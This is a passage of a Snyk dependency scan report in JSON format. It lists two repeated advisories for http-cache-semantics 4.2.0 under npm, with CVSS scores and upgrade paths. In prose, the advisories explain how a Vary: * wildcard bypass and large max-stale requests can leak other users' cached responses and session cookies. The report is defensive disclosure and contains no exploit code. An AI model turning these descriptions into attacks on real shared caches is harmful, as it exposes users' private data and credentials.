"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.2,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n",
"epssDetails": {
"percentile": "0.35961",
"probability": "0.00445",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93750"
],
"CWE": [
"CWE-346"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:38:34.112334Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:47Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:38:34.322549Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T16:08:12.818370Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [
false,
"npm@11.6.3",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964068",
"title": "Improper Authorization",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/56",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n",
"epssDetails": {
"percentile": "0.45545",
"probability": "0.00569",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93748"
],
"CWE": [
"CWE-285"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:43:34.353521Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:53Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:43:34.521384Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T15:58:47.938684Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [
false,
"npm@11.6.3",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964064",
"title": "Origin Validation Error",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.2,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/57",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.2,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n",
"epssDetails": {
"percentile": "0.35961",
"probability": "0.00445",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93750"
],
"CWE": [
"CWE-346"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:38:34.112334Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:47Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:38:34.322549Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T16:08:12.818370Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964068",
"title": "Improper Authorization",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/56",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n",
"epssDetails": {
"percentile": "0.45545",
"probability": "0.00569",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93748"
],
"CWE": [
"CWE-285"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:43:34.353521Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:53Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:43:34.521384Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T15:58:47.938684Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964064",
"title": "Origin Validation Error",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.2,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/57",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.2,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n",
"epssDetails": {
"percentile": "0.35961",
"probability": "0.00445",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93750"
],
"CWE": [
"CWE-346"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:38:34.112334Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:47Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:38:34.322549Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T16:08:12.818370Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [
false,
"npm@11.6.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964068",
"title": "Improper Authorization",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/56",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n",
"epssDetails": {
"percentile": "0.45545",
"probability": "0.00569",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93748"
],
"CWE": [
"CWE-285"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:43:34.353521Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:53Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:43:34.521384Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T15:58:47.938684Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [
false,
"npm@11.6.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964064",
"title": "Origin Validation Error",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.2,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/57",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.2,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n",
"epssDetails": {
"percentile": "0.35961",
"probability": "0.00445",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93750"
],
"CWE": [
"CWE-346"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:38:34.112334Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:47Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:38:34.322549Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T16:08:12.818370Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"pacote@19.0.2",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964068",
"title": "Improper Authorization",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/56",
"title": "GitHub Issue"
},
{
